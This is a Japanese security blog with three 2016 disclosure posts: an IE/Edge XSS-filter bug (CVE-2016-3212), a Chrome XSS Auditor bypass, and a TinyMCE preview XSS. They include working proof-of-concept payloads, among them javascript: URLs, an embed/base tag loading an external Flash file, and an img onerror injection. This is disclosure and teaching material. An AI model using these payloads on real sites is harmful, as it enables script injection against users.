2016/07/15

CVE-2016-3212: XSSフィルターの^への置換動作を利用したXSS

English version: http://mksben.l0.cm/2016/07/xxn-caret.html
-------------------------------------------------------

以前、CODE BLUEでXSSフィルターを利用したXSSの問題について発表しましたが、同様の問題が6月のパッチでCVE-2016-3212として修正されました。この記事では詳細を紹介します。

以前公開した資料にも書いたように、以前までは、XSSフィルターの遮断規則を攻撃とは無関係の文脈に適用させ、.#に置換させることで、<script>src値や<link>href値を変更することによる攻撃が可能でした。



2015年12月、Microsoftはこの問題に対応するために、この遮断規則のみ、#の代わりに^に置換するよう動作を変更しました。これにより確かに、上で示したような攻撃は防げるようになりました。ところが新たな問題を生んでしまいました。この動作変更から数か月後に、実際のアプリケーションで攻撃できることを確認することになります。
$3133.7という特徴的な金額からもわかるように、これはGoogleの脆弱性報奨金制度を通して得た報酬です。GoogleはほとんどのサービスでレスポンスヘッダにX-XSS-Protection: 1;mode=blockを指定していましたが、一部つけていないページがありました。これに気付いたからには、XSSフィルターを利用しない手はありません!XSSフィルターによってページの一部分を変更させることでXSSが起き得る箇所がないか、じっくりみてみました。その結果、*.google.com のドメインに設置されたJavadocが吐くHTMLの1か所を変更したとき、XSSが起きることを発見しました!

以下にそのページのおおよそのコピーがあります。
どこかの.^に置換されたとき、XSSが生まれるのがわかるでしょうか?

http://vulnerabledoma.in/xxn/xss_javadoc.html


答えは以下の黄色の部分にあるドットです。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<title>javadoc</title>
<script type="text/javascript">
    targetPage = "" + window.location.search;
    if (targetPage != "" && targetPage != "undefined")
targetPage = targetPage.substring(1);
if (targetPage.indexOf(":") != -1 || (targetPage != "" && !validURL(targetPage)))
        targetPage = "undefined";
    function validURL(url) {
        try {
            url = decodeURIComponent(url);
        }
        catch (error) {
            return false;
        }
        var pos = url.indexOf(".html");
        if (pos == -1 || pos != url.length - 5)
            return false;
        var allowNumber = false;
        var allowSep = false;
        var seenDot = false;
        for (var i = 0; i < url.length - 5; i++) {
            var ch = url.charAt(i);
            if ('a' <= ch && ch <= 'z' ||
                    'A' <= ch && ch <= 'Z' ||
                    ch == '$' ||
                    ch == '_' ||
                    ch.charCodeAt(0) > 127) {
                allowNumber = true;
                allowSep = true;
            } else if ('0' <= ch && ch <= '9'
                    || ch == '-') {
                if (!allowNumber)
                     return false;
            } else if (ch == '/' || ch == '.') {
                if (!allowSep)
                    return false;
                allowNumber = false;
                allowSep = false;
                if (ch == '.')
                     seenDot = true;
                if (ch == '/' && seenDot)
                     return false;
            } else {
                return false;
            }
        }
        return true;
    }
    function loadFrames() {
        if (targetPage != "" && targetPage != "undefined")
             top.classFrame.location = top.targetPage;
    }
</script>
</head>
<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()">
<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()">
<frame src="/" name="packageListFrame" title="All Packages">
<frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)">
</frameset>
<frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">
<noframes>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<h2>Frame Alert</h2>
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>
</noframes>
</frameset>
</html>
スクリプトタグで長々とやっていることは、location.search(URLの?以降)から受けとった文字列が、フレームにロードしても安全なURLかどうかの検証です。
例えば、XSSが可能な以下のようなURLはロードが禁止されます。

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)

しかしながら、黄色の部分の.^に置き換わるとどうなるでしょう?

実際に動かしてみてみましょう。以下のような文字列を与えれば、無理やりページの中身を遮断規則にマッチさせ、.を置換することができます。


2016年6月のパッチをあてる前のIE/Edgeを使って以下のURLを確認してみてください。

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)//"++++++++++++.i+++=

targetPage.indexOf()の部分の.^に置換され、安全なURLかどうかの検証部分のコードが実行途中でエラーとなることで、URLに与えたjavascript:のURLが実行されたはずです。

既にパッチを適用して再現できない人のために、該当部分を^に置換済みのページを用意しました。同様の動作を確認できます。

http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)

#への置換との決定的な違いは、#はスクリプト内で演算子ではないため、タグ内の.#に置換されても構文が壊れるだけだったのに対し、^はビットごとのXOR演算子であり、例えば、a.b;a^b;になったとしても構文は正しいので、少なくともそこまでは実行されるという点です。このせいで、targetPage変数に未検証の危険な値が入ったまま例外を出し、別の関数でこの変数を利用した結果、XSSが起きたという訳です。



もちろん、XSSが可能だったのはGoogleに限ったことではなく、同バージョンの吐くJavadocのHTMLをX-XSS-Protectionの指定なしに設置しているサイトすべてでXSSが可能でした。

2016年6月の修正後は、例え明示的にヘッダで指示されていなくても、.への反応時には1; mode=blockの動作が強制されるようになりました。これでひとまずは.を置換することによるXSSは起きなくなりました。

^に置換することで回避しようとしたときは唖然としましたが、ひとまずこれで落ち着きました。

また、直近のパッチ(2016年7月)で、その他、CODE BLUEの発表以前に指摘したすべての問題についても改善が行われたようです。この辺りの問題については記事を改めて近いうちに書きます。

2016/05/18

ブラウザのXSS保護機能をバイパスする(8)

English version: http://mksben.l0.cm/2016/05/xssauditor-bypass-flash-basetag.html
-------------------------------------

このブログではおなじみ、ブラウザのXSS保護機能をバイパスするコーナーです。
今回はIEではなく、ChromeのXSS Auditorをバイパスします。

数日前、Marioさんが自身の発見したAuditorのバイパスが修正されたことに気付いて、新たなバイパスを探していたので、一緒になって探していたらみつけました。

Marioさんが新たにみつけたのはこちらです。

僕がみつけたのは、Flashとbaseタグを用いる方法です。

このバグは既に以下で報告済みです。(現時点では閲覧制限がありますが、ChromeはAuditorのバイパスをただのバグと扱うので、そのうちオープンになるはずです。)
https://bugs.chromium.org/p/chromium/issues/detail?id=612672

早速、方法から紹介しましょう。
<div>タグに囲まれた箇所にReflected XSSがあるとします。このとき、以下のような文字列でバイパスできます。

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
いやあ、シンプルで美しいですね…!

なぜこのような形でバイパスするに至ったか、簡単にみていきましょう。
以下のような、外部のリソースを取りに行く文字列はブロックされます。
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=https://evil/>
<embed src=https://evil/>
しかし、以下のような相対パスはブロックされません。

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=/aaa>
<embed src=/aaa>
ということは、ベースのURLさえ変更することができれば、XSSができそうです。baseタグももちろんブロックされますが、>でタグを閉じなければ、ブロックを回避できる場合があるようです。

以下はブロックされます。
https://vulnerabledoma.in/xss_auditortest?test=3&q=<base+href=//evil/
<div><base href=//evil/ </div>
しかし、以下はブロックされません。
https://vulnerabledoma.in/xss_auditortest?test=1&q=<base+href=//evil/
<div><base href=//evil/</div>
どこが違うかわかるでしょうか?前者は、注入ポイントの後ろにスペースが入っています。どうやら、スペースや改行などの空白文字が注入ポイントの直後に入っている場合にはAuditorは閉じタグがなくても反応するようです。言い換えれば、直後に空白がなければbaseタグは設定できます。
これらから導かれたのが、最初に紹介した以下の形です。これで、外部のFlashファイル(https://l0.cm/xss.swf)がロードされ、allowscriptaccess=alwaysの指定により、 vulnerabledoma.in のコンテキストでスクリプトが実行されます。

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
注入ポイントの直後に空白がある場合だと無理かというと、そうでもありません。その後ろのどこかに"'などの引用符があれば<base href="//evil/のように閉じない引用符をつけることで、反応を回避できます。

以下の状況ではAuditorは反応しません。
https://vulnerabledoma.in/xss_auditortest?test=4&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href="//l0.cm/
<div>
<embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/
</div><div id="x">AAA</div>
大抵、"'はあるはずなので、一般的なReflected XSSの状況でかなり便利に使えるバイパス方法ではないかと思います。

ちなみになぜ、scriptタグではなくFlashを使っているかというと、scriptタグもembedタグと同じように、<script src=/xss.js></script><base href=//evil/ などがブロックされずに通るのですが、scriptタグの場合はベースのURLを変更するよりも先にscriptタグのロードが始まってしまうんですよね。

以下でこの動作を確認できます。
https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/

Flashの場合は、baseタグがあとからでてきても、それを基準にロードを開始してくれます。したがって、Flashを使ったというわけです。

以上です。普段のXSSにお使いください!

2016/04/16

TinyMCE 4.3.9で修正されたXSS

2月頃、リッチテキストエディタの TinyMCE のXSS脆弱性を報告しました。
特にセキュリティの修正をしたといったアナウンスはありませんが、数日前に公開された4.3.9でこの問題が修正されています。Twitterのプロフィールにも、「World's #1 most popular open source #WYSIWYG editor」 とあるくらい、世界的にも非常によく使われているリッチテキストエディタのようですので、更新を促すためにこの記事を書きます。

XSS脆弱性は 4.3.8 以下のバージョンにあります。
僕の知る限りでは、TinyMCEのPreview Plugin機能を使っていなければ影響を受けません。
この機能を呼び出さないようにするか、4.3.9以上に更新してください。

これ以下は、技術的な説明になります。この脆弱性の発生原因は、技術的にも少し面白いです。

発火する場所は、エスケープしていない文字列をdocument.write()しているだけなんですが、入り込む原因が特殊です。

ここで脆弱なHTMLを組立てて、
https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L31
headHtml += '<base href="' + editor.documentBaseURI.getURI() + '">';
ここでwrite()して発火しています。
https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L82
doc.write(previewHtml);
書き出されるURLは以下のdocumentBaseURL変数から設定されます。
https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/classes/EditorManager.js#L164-174
documentBaseURL = document.location.href;
// Check if the URL is a document based format like: http://site/dir/file and file:///
// leave other formats like applewebdata://... intact
if (/^[^:]+:\/\/\/?[^\/]+\//.test(documentBaseURL)) {
documentBaseURL = documentBaseURL.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
if (!/[\/\\]$/.test(documentBaseURL)) {
documentBaseURL += '/';
}
}
location.hrefからURL文字列を受け取り、replace()の部分の正規表現で必要な文字列だけを切り取っています。その結果、返ってくることを期待している文字列は、少なくともパス部までの文字列です。例えば「https://example.com/AAA/BBB/CCC?DDD#EEE」というURL文字列からは、「https://example.com/AAA/BBB/」が返ってきます。以下でテストできます。

https://jsfiddle.net/nsuqthb5/
<script>
baseUrl="https://example.com/AAA/BBB/CCC?DDD#EEE";
if (/^[^:]+:\/\/\/?[^\/]+\//.test(baseUrl)) {
baseUrl = baseUrl.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
if (!/[\/\\]$/.test(baseUrl)) {
baseUrl += '/';
}
}
alert(baseUrl);
</script>
この、期待した文字列ですら、 document.write('<base href="'+ baseUrl +'">')とかって書き出そうとすることは危ういのですが、モダンなブラウザでは、location.hrefプロパティで取得されるパス部の"%22にエンコードされるので、控えめに言えばギリギリセーフです。(Safari 5.xとかだとアウトです。)
古いブラウザで脆弱になることは受け入れるとしても、この正規表現の切り取り方では、モダンなブラウザでも期待しない文字列を呼び込んでしまいます。次のようなURLが与えられた場合です。

https://jsfiddle.net/c2L6guLf/
<script>
baseUrl="https://example.com/xxx#\u2028\"><[XSS_CODE_HERE]>/";
if (/^[^:]+:\/\/\/?[^\/]+\//.test(baseUrl)) {
baseUrl = baseUrl.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
if (!/[\/\\]$/.test(baseUrl)) {
baseUrl += '/';
}
}
alert(baseUrl);
</script>
今度は、#以降の、XSS_CODE_HEREまで含んだURLがアラートされるはずです。
ポイントは黄色でマークした \u2028の部分です。U+2028/U+2029は JS中で改行と同じ扱いになるという話を以前ブログで取り上げましたが、この扱いが今回の正規表現と絡んできます。replace(/[\?#].*$/, '')は、URL文字列の最後まで、改行が含まれないことを前提として、?#以降の文字列を全て取り除こうとします。ところが、U+2028が?#以降に入ってくると、U+2028が.にマッチしないため、この正規表現による削除が行われなくなってしまうのです。その場合、返ってくる文字列は何も置換が行われていないlocation.hrefそのものになってしまいます。

実際にXSSを再現させてみます。
baseタグは、エディタの内容をPreviewする機能を実行した時に作成されます。
以下にIE/Edgeでアクセスし、View →Preview とボタンを押してみてください。

http://vulnerabledoma.in/tinymce/xss_preview_4.3.8.html#"><img src=x onerror=alert(document.domain)>
/

うまくいけば以下のようにみえるはずです。



なぜ、IE/Edge限定なのかというと、FirefoxやSafariはURL中のU+2028文字をエンコードしてしまうため、正規表現を騙すことができないからです。また、Chromeはbaseタグから抜けて、スクリプトの実行も可能なのですが、IE/Edge以外はallow-scriptsによりスクリプトの実行だけが許可されたsandbox属性付きのiframeの中でプレビューを表示するようになっているため、少なくともTinyMCEを設置したオリジンでのスクリプト実行には繋がらないようになっています。以下の箇所でIE/Edgeとそれ以外で表示方法を変えているのがわかります。

https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L76-86

よって、Chromeの場合では、厳密には影響がないとは言えないものの、実行されるコンテキストがサンドボックス内のため、プレビューの偽装かプレビューした情報の奪取程度の限定的なものになります。

修正は以下の部分で行われました。
https://github.com/tinymce/tinymce/commit/1483e4fd47ab58b5fc1015f82253c90caaeedc44
if (loc.protocol.indexOf('http') !== 0 && loc.protocol !== 'file:') {
baseUrl = loc.href;
} else {
baseUrl = loc.protocol + '//' + loc.host + loc.pathname;
}

location.protocolhttpという文字列を含まない、かつ、file:でない場合のみ、location.hrefをそのまま使い、それ以外は、location.protocollocation.hostlocation.pathnameを連結したものを使うようになりました。心許ないかんじがしますが、少なくとも僕にはこれを破ってXSSすることができなかったので、とりあえず、問題なさそうと伝えました。(もっとも、Safari 5.x などではエンコードされていない"location.pathnameに含むことができるので、相変わらず脆弱です。)

以上、U+2028/2029で起きる問題でした。U+2028/2029が絡んだ問題はまれにみますが、わかりにくいので、まだまだ潜んでいそうです。

最後に言いたいのですが、特に、利用者が更新する必要のあるアプリケーションを提供する人は、脆弱性があったということを絶対に告知すべきです。そうしないと、利用者が更新の必要性に気付けず、脆弱なバージョンを使い続けることになってしまいます。セキュリティの修正がある場合は、提供者側で可能な限り大きな声で更新を促すようにしてほしいと思います。